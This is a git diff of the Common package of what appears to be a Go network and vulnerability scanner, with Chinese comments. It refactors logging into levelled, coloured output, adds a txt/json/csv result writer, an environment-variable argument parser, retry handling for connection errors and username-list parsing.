|
envArgs, err := parseEnvironmentArgs(envArgsString)
|
||||||
|
if err == nil && len(envArgs) > 0 {
|
||||||
|
flag.CommandLine.Parse(envArgs)
|
||||||
|
os.Unsetenv("FS_ARGS") // 使用后清除环境变量
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// 如果环境变量解析失败,继续使用命令行参数
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析命令行参数
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parseEnvironmentArgs 安全地解析环境变量中的参数
|
||||||
|
func parseEnvironmentArgs(argsString string) ([]string, error) {
|
||||||
|
if strings.TrimSpace(argsString) == "" {
|
||||||
|
return nil, fmt.Errorf("empty arguments string")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用更安全的参数分割方法
|
||||||
|
var args []string
|
||||||
|
var currentArg strings.Builder
|
||||||
|
inQuote := false
|
||||||
|
quoteChar := ' '
|
||||||
|
|
||||||
|
for _, char := range argsString {
|
||||||
|
switch {
|
||||||
|
case char == '"' || char == '\'':
|
||||||
|
if inQuote && char == quoteChar {
|
||||||
|
inQuote = false
|
||||||
|
} else if !inQuote {
|
||||||
|
inQuote = true
|
||||||
|
quoteChar = char
|
||||||
|
} else {
|
||||||
|
currentArg.WriteRune(char)
|
||||||
|
}
|
||||||
|
case char == ' ' && !inQuote:
|
||||||
|
if currentArg.Len() > 0 {
|
||||||
|
args = append(args, currentArg.String())
|
||||||
|
currentArg.Reset()
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
currentArg.WriteRune(char)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if currentArg.Len() > 0 {
|
||||||
|
args = append(args, currentArg.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
return args, nil
|
||||||
|
}
|
||||||
|
|||||||
+202
-108
@@ -1,152 +1,245 @@
|
|||||||
package Common
|
package Common
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/fatih/color"
|
|
||||||
"io"
|
"io"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/fatih/color"
|
||||||
)
|
)
|
||||||
|
|
||||||
// 记录扫描状态的全局变量
|
// 全局变量定义
|
||||||
var (
|
var (
|
||||||
Num int64 // 总任务数
|
// 扫描状态管理器,记录最近一次成功和错误的时间
|
||||||
End int64 // 已完成数
|
status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()}
|
||||||
Results = make(chan *string) // 结果通道
|
|
||||||
LogSucTime int64 // 最近成功日志时间
|
// Num 表示待处理的总任务数量
|
||||||
LogErrTime int64 // 最近错误日志时间
|
Num int64
|
||||||
WaitTime int64 // 等待时间
|
// End 表示已经完成的任务数量
|
||||||
Silent bool // 静默模式
|
End int64
|
||||||
Nocolor bool // 禁用颜色
|
|
||||||
JsonOutput bool // JSON输出
|
|
||||||
LogWG sync.WaitGroup // 日志同步等待组
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// JsonText JSON输出的结构体
|
// ScanStatus 用于记录和管理扫描状态的结构体
|
||||||
type JsonText struct {
|
type ScanStatus struct {
|
||||||
Type string `json:"type"` // 消息类型
|
mu sync.RWMutex // 读写互斥锁,用于保护并发访问
|
||||||
Text string `json:"text"` // 消息内容
|
total int64 // 总任务数
|
||||||
|
completed int64 // 已完成任务数
|
||||||
|
lastSuccess time.Time // 最近一次成功的时间
|
||||||
|
lastError time.Time // 最近一次错误的时间
|
||||||
}
|
}
|
||||||
|
|
||||||
// init 初始化日志配置
|
// LogEntry 定义单条日志的结构
|
||||||
func init() {
|
type LogEntry struct {
|
||||||
|
Level string // 日志级别: ERROR/INFO/SUCCESS/DEBUG
|
||||||
|
Time time.Time // 日志时间
|
||||||
|
Content string // 日志内容
|
||||||
|
}
|
||||||
|
|
||||||
|
// 定义系统支持的日志级别常量
|
||||||
|
const (
|
||||||
|
LogLevelAll = "ALL" // 显示所有级别日志
|
||||||
|
LogLevelError = "ERROR" // 仅显示错误日志
|
||||||
|
LogLevelBase = "BASE" // 仅显示信息日志
|
||||||
|
LogLevelInfo = "INFO" // 仅显示信息日志
|
||||||
|
LogLevelSuccess = "SUCCESS" // 仅显示成功日志
|
||||||
|
LogLevelDebug = "DEBUG" // 仅显示调试日志
|
||||||
|
)
|
||||||
|
|
||||||
|
// 日志级别对应的显示颜色映射
|
||||||
|
var logColors = map[string]color.Attribute{
|
||||||
|
LogLevelError: color.FgBlue, // 错误日志显示蓝色
|
||||||
|
LogLevelBase: color.FgYellow, // 信息日志显示黄色
|
||||||
|
LogLevelInfo: color.FgGreen, // 信息日志显示绿色
|
||||||
|
LogLevelSuccess: color.FgRed, // 成功日志显示红色
|
||||||
|
LogLevelDebug: color.FgWhite, // 调试日志显示白色
|
||||||
|
}
|
||||||
|
|
||||||
|
// InitLogger 初始化日志系统
|
||||||
|
func InitLogger() {
|
||||||
|
// 禁用标准日志输出
|
||||||
log.SetOutput(io.Discard)
|
log.SetOutput(io.Discard)
|
||||||
LogSucTime = time.Now().Unix()
|
|
||||||
go SaveLog()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// LogSuccess 记录成功信息
|
var StartTime = time.Now()
|
||||||
func LogSuccess(result string) {
|
|
||||||
LogWG.Add(1)
|
|
||||||
LogSucTime = time.Now().Unix()
|
|
||||||
Results <- &result
|
|
||||||
}
|
|
||||||
|
|
||||||
// SaveLog 保存日志信息
|
// formatLogMessage 格式化日志消息为标准格式
|
||||||
func SaveLog() {
|
// 返回格式:[时间] [级别] 内容
|
||||||
for result := range Results {
|
func formatLogMessage(entry *LogEntry) string {
|
||||||
// 打印日志
|
elapsed := time.Since(StartTime)
|
||||||
if !Silent {
|
var timeStr string
|
||||||
if Nocolor {
|
|
||||||
fmt.Println(*result)
|
|
||||||
} else {
|
|
||||||
switch {
|
|
||||||
case strings.HasPrefix(*result, "[+] 信息扫描"):
|
|
||||||
color.Green(*result)
|
|
||||||
case strings.HasPrefix(*result, "[+]"):
|
|
||||||
color.Red(*result)
|
|
||||||
default:
|
|
||||||
fmt.Println(*result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 保存到文件
|
// 根据时间长短选择合适的单位
|
||||||
if IsSave {
|
switch {
|
||||||
WriteFile(*result, Outputfile)
|
case elapsed < time.Second:
|
||||||
}
|
// 毫秒显示,不需要小数
|
||||||
LogWG.Done()
|
timeStr = fmt.Sprintf("%dms", elapsed.Milliseconds())
|
||||||
|
case elapsed < time.Minute:
|
||||||
|
// 秒显示,保留一位小数
|
||||||
|
timeStr = fmt.Sprintf("%.1fs", elapsed.Seconds())
|
||||||
|
case elapsed < time.Hour:
|
||||||
|
// 分钟和秒显示
|
||||||
|
minutes := int(elapsed.Minutes())
|
||||||
|
seconds := int(elapsed.Seconds()) % 60
|
||||||
|
timeStr = fmt.Sprintf("%dm%ds", minutes, seconds)
|
||||||
|
default:
|
||||||
|
// 小时、分钟和秒显示
|
||||||
|
hours := int(elapsed.Hours())
|
||||||
|
minutes := int(elapsed.Minutes()) % 60
|
||||||
|
seconds := int(elapsed.Seconds()) % 60
|
||||||
|
timeStr = fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
|
||||||
}
|
}
|
||||||
|
str := " "
|
||||||
|
switch entry.Level {
|
||||||
|
case LogLevelSuccess:
|
||||||
|
str = "[+]"
|
||||||
|
case LogLevelInfo:
|
||||||
|
str = "[*]"
|
||||||
|
case LogLevelError:
|
||||||
|
str = "[-]"
|
||||||
|
}
|
||||||
|
|
||||||
|
return fmt.Sprintf("[%s] %s %s", timeStr, str, entry.Content)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WriteFile 写入文件
|
// printLog 根据日志级别打印日志
|
||||||
func WriteFile(result string, filename string) {
|
func printLog(entry *LogEntry) {
|
||||||
// 打开文件
|
if LogLevel != "debug" && (entry.Level == LogLevelDebug || entry.Level == LogLevelError) {
|
||||||
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err)
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer fl.Close()
|
|
||||||
|
|
||||||
if JsonOutput {
|
OutputMutex.Lock()
|
||||||
// 解析JSON格式
|
defer OutputMutex.Unlock()
|
||||||
var scantype, text string
|
|
||||||
if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") {
|
// 处理进度条
|
||||||
index := strings.Index(result[4:], " ")
|
clearAndWaitProgress()
|
||||||
if index == -1 {
|
|
||||||
scantype = "msg"
|
// 打印日志消息
|
||||||
text = result[4:]
|
logMsg := formatLogMessage(entry)
|
||||||
} else {
|
if !NoColor {
|
||||||
scantype = result[4 : 4+index]
|
// 使用彩色输出
|
||||||
text = result[4+index+1:]
|
if colorAttr, ok := logColors[entry.Level]; ok {
|
||||||
}
|
color.New(colorAttr).Println(logMsg)
|
||||||
} else {
|
} else {
|
||||||
scantype = "msg"
|
fmt.Println(logMsg)
|
||||||
text = result
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 构造JSON对象
|
|
||||||
jsonText := JsonText{
|
|
||||||
Type: scantype,
|
|
||||||
Text: text,
|
|
||||||
}
|
|
||||||
|
|
||||||
// 序列化JSON
|
|
||||||
jsonData, err := json.Marshal(jsonText)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[!] JSON序列化失败: %v\n", err)
|
|
||||||
jsonText = JsonText{
|
|
||||||
Type: "msg",
|
|
||||||
Text: result,
|
|
||||||
}
|
|
||||||
jsonData, _ = json.Marshal(jsonText)
|
|
||||||
}
|
|
||||||
jsonData = append(jsonData, []byte(",\n")...)
|
|
||||||
_, err = fl.Write(jsonData)
|
|
||||||
} else {
|
} else {
|
||||||
_, err = fl.Write([]byte(result + "\n"))
|
// 普通输出
|
||||||
|
fmt.Println(logMsg)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
// 根据慢速输出设置决定是否添加延迟
|
||||||
fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err)
|
if SlowLogOutput {
|
||||||
|
time.Sleep(50 * time.Millisecond)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 重新显示进度条
|
||||||
|
if ProgressBar != nil {
|
||||||
|
ProgressBar.RenderBlank()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// LogError 记录错误信息
|
// clearAndWaitProgress 清除进度条并等待
|
||||||
func LogError(errinfo interface{}) {
|
func clearAndWaitProgress() {
|
||||||
if WaitTime == 0 {
|
if ProgressBar != nil {
|
||||||
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
|
ProgressBar.Clear()
|
||||||
} else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime {
|
time.Sleep(10 * time.Millisecond)
|
||||||
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
|
|
||||||
LogErrTime = time.Now().Unix()
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// CheckErrs 检查是否为已知错误
|
// handleLog 统一处理日志的输出
|
||||||
func CheckErrs(err error) bool {
|
func handleLog(entry *LogEntry) {
|
||||||
|
if ProgressBar != nil {
|
||||||
|
ProgressBar.Clear()
|
||||||
|
}
|
||||||
|
|
||||||
|
printLog(entry)
|
||||||
|
|
||||||
|
if ProgressBar != nil {
|
||||||
|
ProgressBar.RenderBlank()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogDebug 记录调试日志
|
||||||
|
func LogDebug(msg string) {
|
||||||
|
handleLog(&LogEntry{
|
||||||
|
Level: LogLevelDebug,
|
||||||
|
Time: time.Now(),
|
||||||
|
Content: msg,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogBase 记录进度信息
|
||||||
|
func LogBase(msg string) {
|
||||||
|
handleLog(&LogEntry{
|
||||||
|
Level: LogLevelBase,
|
||||||
|
Time: time.Now(),
|
||||||
|
Content: msg,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogInfo 记录信息日志
|
||||||
|
// [*]
|
||||||
|
func LogInfo(msg string) {
|
||||||
|
handleLog(&LogEntry{
|
||||||
|
Level: LogLevelInfo,
|
||||||
|
Time: time.Now(),
|
||||||
|
Content: msg,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogSuccess 记录成功日志,并更新最后成功时间
|
||||||
|
// [+]
|
||||||
|
func LogSuccess(result string) {
|
||||||
|
entry := &LogEntry{
|
||||||
|
Level: LogLevelSuccess,
|
||||||
|
Time: time.Now(),
|
||||||
|
Content: result,
|
||||||
|
}
|
||||||
|
|
||||||
|
handleLog(entry)
|
||||||
|
|
||||||
|
// 更新最后成功时间
|
||||||
|
status.mu.Lock()
|
||||||
|
status.lastSuccess = time.Now()
|
||||||
|
status.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogError 记录错误日志,自动包含文件名和行号信息
|
||||||
|
func LogError(errMsg string) {
|
||||||
|
// 获取调用者的文件名和行号
|
||||||
|
_, file, line, ok := runtime.Caller(1)
|
||||||
|
if !ok {
|
||||||
|
file = "unknown"
|
||||||
|
line = 0
|
||||||
|
}
|
||||||
|
file = filepath.Base(file)
|
||||||
|
|
||||||
|
errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg)
|
||||||
|
|
||||||
|
entry := &LogEntry{
|
||||||
|
Level: LogLevelError,
|
||||||
|
Time: time.Now(),
|
||||||
|
Content: errorMsg,
|
||||||
|
}
|
||||||
|
|
||||||
|
handleLog(entry)
|
||||||
|
}
|
||||||
|
|
||||||
|
// CheckErrs 检查是否为需要重试的错误
|
||||||
|
func CheckErrs(err error) error {
|
||||||
if err == nil {
|
if err == nil {
|
||||||
return false
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 已知错误列表
|
// 已知需要重试的错误列表
|
||||||
errs := []string{
|
errs := []string{
|
||||||
"closed by the remote host", "too many connections",
|
"closed by the remote host", "too many connections",
|
||||||
"i/o timeout", "EOF", "A connection attempt failed",
|
"EOF", "A connection attempt failed",
|
||||||
"established connection failed", "connection attempt failed",
|
"established connection failed", "connection attempt failed",
|
||||||
"Unable to read", "is not allowed to connect to this",
|
"Unable to read", "is not allowed to connect to this",
|
||||||
"no pg_hba.conf entry",
|
"no pg_hba.conf entry",
|
||||||
@@ -159,9 +252,10 @@ func CheckErrs(err error) bool {
|
|||||||
errLower := strings.ToLower(err.Error())
|
errLower := strings.ToLower(err.Error())
|
||||||
for _, key := range errs {
|
for _, key := range errs {
|
||||||
if strings.Contains(errLower, strings.ToLower(key)) {
|
if strings.Contains(errLower, strings.ToLower(key)) {
|
||||||
return true
|
time.Sleep(1 * time.Second)
|
||||||
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return false
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,312 @@
|
|||||||
|
package Common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/csv"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 全局输出管理器
|
||||||
|
var ResultOutput *OutputManager
|
||||||
|
|
||||||
|
// OutputManager 输出管理器结构体
|
||||||
|
type OutputManager struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
outputPath string
|
||||||
|
outputFormat string
|
||||||
|
file *os.File
|
||||||
|
csvWriter *csv.Writer
|
||||||
|
jsonEncoder *json.Encoder
|
||||||
|
isInitialized bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResultType 定义结果类型
|
||||||
|
type ResultType string
|
||||||
|
|
||||||
|
const (
|
||||||
|
HOST ResultType = "HOST" // 主机存活
|
||||||
|
PORT ResultType = "PORT" // 端口开放
|
||||||
|
SERVICE ResultType = "SERVICE" // 服务识别
|
||||||
|
VULN ResultType = "VULN" // 漏洞发现
|
||||||
|
)
|
||||||
|
|
||||||
|
// ScanResult 扫描结果结构
|
||||||
|
type ScanResult struct {
|
||||||
|
Time time.Time `json:"time"` // 发现时间
|
||||||
|
Type ResultType `json:"type"` // 结果类型
|
||||||
|
Target string `json:"target"` // 目标(IP/域名/URL)
|
||||||
|
Status string `json:"status"` // 状态描述
|
||||||
|
Details map[string]interface{} `json:"details"` // 详细信息
|
||||||
|
}
|
||||||
|
|
||||||
|
// InitOutput 初始化输出系统
|
||||||
|
func InitOutput() error {
|
||||||
|
LogDebug(GetText("output_init_start"))
|
||||||
|
|
||||||
|
// 验证输出格式
|
||||||
|
switch OutputFormat {
|
||||||
|
case "txt", "json", "csv":
|
||||||
|
// 有效的格式
|
||||||
|
default:
|
||||||
|
return fmt.Errorf(GetText("output_format_invalid"), OutputFormat)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证输出路径
|
||||||
|
if Outputfile == "" {
|
||||||
|
return fmt.Errorf(GetText("output_path_empty"))
|
||||||
|
}
|
||||||
|
|
||||||
|
dir := filepath.Dir(Outputfile)
|
||||||
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||||
|
LogDebug(GetText("output_create_dir_failed", err))
|
||||||
|
return fmt.Errorf(GetText("output_create_dir_failed", err))
|
||||||
|
}
|
||||||
|
|
||||||
|
manager := &OutputManager{
|
||||||
|
outputPath: Outputfile,
|
||||||
|
outputFormat: OutputFormat,
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := manager.initialize(); err != nil {
|
||||||
|
LogDebug(GetText("output_init_failed", err))
|
||||||
|
return fmt.Errorf(GetText("output_init_failed", err))
|
||||||
|
}
|
||||||
|
|
||||||
|
ResultOutput = manager
|
||||||
|
LogDebug(GetText("output_init_success"))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (om *OutputManager) initialize() error {
|
||||||
|
om.mu.Lock()
|
||||||
|
defer om.mu.Unlock()
|
||||||
|
|
||||||
|
if om.isInitialized {
|
||||||
|
LogDebug(GetText("output_already_init"))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
LogDebug(GetText("output_opening_file", om.outputPath))
|
||||||
|
file, err := os.OpenFile(om.outputPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
|
||||||
|
if err != nil {
|
||||||
|
LogDebug(GetText("output_open_file_failed", err))
|
||||||
|
return fmt.Errorf(GetText("output_open_file_failed", err))
|
||||||
|
}
|
||||||
|
om.file = file
|
||||||
|
|
||||||
|
switch om.outputFormat {
|
||||||
|
case "csv":
|
||||||
|
LogDebug(GetText("output_init_csv"))
|
||||||
|
om.csvWriter = csv.NewWriter(file)
|
||||||
|
headers := []string{"Time", "Type", "Target", "Status", "Details"}
|
||||||
|
if err := om.csvWriter.Write(headers); err != nil {
|
||||||
|
LogDebug(GetText("output_write_csv_header_failed", err))
|
||||||
|
file.Close()
|
||||||
|
return fmt.Errorf(GetText("output_write_csv_header_failed", err))
|
||||||
|
}
|
||||||
|
om.csvWriter.Flush()
|
||||||
|
case "json":
|
||||||
|
LogDebug(GetText("output_init_json"))
|
||||||
|
om.jsonEncoder = json.NewEncoder(file)
|
||||||
|
om.jsonEncoder.SetIndent("", " ")
|
||||||
|
case "txt":
|
||||||
|
LogDebug(GetText("output_init_txt"))
|
||||||
|
default:
|
||||||
|
LogDebug(GetText("output_format_invalid", om.outputFormat))
|
||||||
|
}
|
||||||
|
|
||||||
|
om.isInitialized = true
|
||||||
|
LogDebug(GetText("output_init_complete"))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// SaveResult 保存扫描结果
|
||||||
|
func SaveResult(result *ScanResult) error {
|
||||||
|
if ResultOutput == nil {
|
||||||
|
LogDebug(GetText("output_not_init"))
|
||||||
|
return fmt.Errorf(GetText("output_not_init"))
|
||||||
|
}
|
||||||
|
|
||||||
|
LogDebug(GetText("output_saving_result", result.Type, result.Target))
|
||||||
|
return ResultOutput.saveResult(result)
|
||||||
|
}
|
||||||
|
func GetResults() ([]*ScanResult, error) {
|
||||||
|
if ResultOutput == nil {
|
||||||
|
return nil, fmt.Errorf(GetText("output_not_init"))
|
||||||
|
}
|
||||||
|
|
||||||
|
if ResultOutput.outputFormat == "csv" {
|
||||||
|
return ResultOutput.getResult()
|
||||||
|
}
|
||||||
|
// 其他格式尚未实现读取支持
|
||||||
|
return nil, fmt.Errorf(GetText("output_format_read_not_supported"))
|
||||||
|
}
|
||||||
|
|
||||||
|
func (om *OutputManager) saveResult(result *ScanResult) error {
|
||||||
|
om.mu.Lock()
|
||||||
|
defer om.mu.Unlock()
|
||||||
|
|
||||||
|
if !om.isInitialized {
|
||||||
|
LogDebug(GetText("output_not_init"))
|
||||||
|
return fmt.Errorf(GetText("output_not_init"))
|
||||||
|
}
|
||||||
|
|
||||||
|
var err error
|
||||||
|
switch om.outputFormat {
|
||||||
|
case "txt":
|
||||||
|
err = om.writeTxt(result)
|
||||||
|
case "json":
|
||||||
|
err = om.writeJson(result)
|
||||||
|
case "csv":
|
||||||
|
err = om.writeCsv(result)
|
||||||
|
default:
|
||||||
|
LogDebug(GetText("output_format_invalid", om.outputFormat))
|
||||||
|
return fmt.Errorf(GetText("output_format_invalid", om.outputFormat))
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
LogDebug(GetText("output_save_failed", err))
|
||||||
|
} else {
|
||||||
|
LogDebug(GetText("output_save_success", result.Type, result.Target))
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
func (om *OutputManager) getResult() ([]*ScanResult, error) {
|
||||||
|
om.mu.Lock()
|
||||||
|
defer om.mu.Unlock()
|
||||||
|
|
||||||
|
if !om.isInitialized {
|
||||||
|
LogDebug(GetText("output_not_init"))
|
||||||
|
return nil, fmt.Errorf(GetText("output_not_init"))
|
||||||
|
}
|
||||||
|
|
||||||
|
file, err := os.Open(om.outputPath)
|
||||||
|
if err != nil {
|
||||||
|
LogDebug(GetText("output_open_file_failed", err))
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer file.Close()
|
||||||
|
|
||||||
|
reader := csv.NewReader(file)
|
||||||
|
records, err := reader.ReadAll()
|
||||||
|
if err != nil {
|
||||||
|
LogDebug(GetText("output_read_csv_failed", err))
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var results []*ScanResult
|
||||||
|
for i, row := range records {
|
||||||
|
// 跳过 CSV 头部
|
||||||
|
if i == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(row) < 5 {
|
||||||
|
continue // 数据不完整
|
||||||
|
}
|
||||||
|
|
||||||
|
t, err := time.Parse("2006-01-02 15:04:05", row[0])
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
var details map[string]interface{}
|
||||||
|
if err := json.Unmarshal([]byte(row[4]), &details); err != nil {
|
||||||
|
details = make(map[string]interface{})
|
||||||
|
}
|
||||||
|
|
||||||
|
result := &ScanResult{
|
||||||
|
Time: t,
|
||||||
|
Type: ResultType(row[1]),
|
||||||
|
Target: row[2],
|
||||||
|
Status: row[3],
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
results = append(results, result)
|
||||||
|
}
|
||||||
|
|
||||||
|
LogDebug(GetText("output_read_csv_success", len(results)))
|
||||||
|
return results, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (om *OutputManager) writeTxt(result *ScanResult) error {
|
||||||
|
// 格式化 Details 为键值对字符串
|
||||||
|
var details string
|
||||||
|
if len(result.Details) > 0 {
|
||||||
|
pairs := make([]string, 0, len(result.Details))
|
||||||
|
for k, v := range result.Details {
|
||||||
|
pairs = append(pairs, fmt.Sprintf("%s=%v", k, v))
|
||||||
|
}
|
||||||
|
details = strings.Join(pairs, ", ")
|
||||||
|
}
|
||||||
|
|
||||||
|
txt := GetText("output_txt_format",
|
||||||
|
result.Time.Format("2006-01-02 15:04:05"),
|
||||||
|
result.Type,
|
||||||
|
result.Target,
|
||||||
|
result.Status,
|
||||||
|
details,
|
||||||
|
) + "\n"
|
||||||
|
_, err := om.file.WriteString(txt)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (om *OutputManager) writeJson(result *ScanResult) error {
|
||||||
|
return om.jsonEncoder.Encode(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (om *OutputManager) writeCsv(result *ScanResult) error {
|
||||||
|
details, err := json.Marshal(result.Details)
|
||||||
|
if err != nil {
|
||||||
|
details = []byte("{}")
|
||||||
|
}
|
||||||
|
|
||||||
|
record := []string{
|
||||||
|
result.Time.Format("2006-01-02 15:04:05"),
|
||||||
|
string(result.Type),
|
||||||
|
result.Target,
|
||||||
|
result.Status,
|
||||||
|
string(details),
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := om.csvWriter.Write(record); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
om.csvWriter.Flush()
|
||||||
|
return om.csvWriter.Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
// CloseOutput 关闭输出系统
|
||||||
|
func CloseOutput() error {
|
||||||
|
if ResultOutput == nil {
|
||||||
|
LogDebug(GetText("output_no_need_close"))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
LogDebug(GetText("output_closing"))
|
||||||
|
ResultOutput.mu.Lock()
|
||||||
|
defer ResultOutput.mu.Unlock()
|
||||||
|
|
||||||
|
if !ResultOutput.isInitialized {
|
||||||
|
LogDebug(GetText("output_no_need_close"))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if ResultOutput.csvWriter != nil {
|
||||||
|
LogDebug(GetText("output_flush_csv"))
|
||||||
|
ResultOutput.csvWriter.Flush()
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := ResultOutput.file.Close(); err != nil {
|
||||||
|
LogDebug(GetText("output_close_failed", err))
|
||||||
|
return fmt.Errorf(GetText("output_close_failed", err))
|
||||||
|
}
|
||||||
|
|
||||||
|
ResultOutput.isInitialized = false
|
||||||
|
LogDebug(GetText("output_closed"))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
+420
-264
@@ -7,53 +7,66 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"net/url"
|
"net/url"
|
||||||
"os"
|
"os"
|
||||||
"strconv"
|
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
func Parse(Info *HostInfo) {
|
// Parse 配置解析的总入口函数
|
||||||
ParseUser()
|
// 协调调用各解析子函数,完成完整的配置处理流程
|
||||||
ParsePass(Info)
|
func Parse(Info *HostInfo) error {
|
||||||
ParseInput(Info)
|
// 按照依赖顺序解析各类配置
|
||||||
ParseScantype(Info)
|
if err := ParseUser(); err != nil {
|
||||||
|
return fmt.Errorf("用户名解析错误: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := ParsePass(Info); err != nil {
|
||||||
|
return fmt.Errorf("密码与目标解析错误: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := ParseInput(Info); err != nil {
|
||||||
|
return fmt.Errorf("输入参数解析错误: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取
|
// ParseUser 解析用户名配置
|
||||||
|
// 处理直接指定的用户名和从文件加载的用户名,更新全局用户字典
|
||||||
func ParseUser() error {
|
func ParseUser() error {
|
||||||
// 如果未指定用户名和用户名文件,直接返回
|
// 如果未指定用户名和用户名文件,无需处理
|
||||||
if Username == "" && Userfile == "" {
|
if Username == "" && UsersFile == "" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 收集所有用户名
|
||||||
var usernames []string
|
var usernames []string
|
||||||
|
|
||||||
// 处理直接指定的用户名列表
|
// 处理命令行参数指定的用户名列表
|
||||||
if Username != "" {
|
if Username != "" {
|
||||||
usernames = strings.Split(Username, ",")
|
usernames = strings.Split(Username, ",")
|
||||||
fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames))
|
LogBase(GetText("no_username_specified", len(usernames)))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 从文件加载用户名列表
|
// 从文件加载用户名列表
|
||||||
if Userfile != "" {
|
if UsersFile != "" {
|
||||||
users, err := Readfile(Userfile)
|
fileUsers, err := ReadFileLines(UsersFile)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("读取用户名文件失败: %v", err)
|
return fmt.Errorf("读取用户名文件失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 过滤空用户名
|
// 添加非空用户名
|
||||||
for _, user := range users {
|
for _, user := range fileUsers {
|
||||||
if user != "" {
|
if user != "" {
|
||||||
usernames = append(usernames, user)
|
usernames = append(usernames, user)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users))
|
LogBase(GetText("load_usernames_from_file", len(fileUsers)))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 去重处理
|
// 去重处理
|
||||||
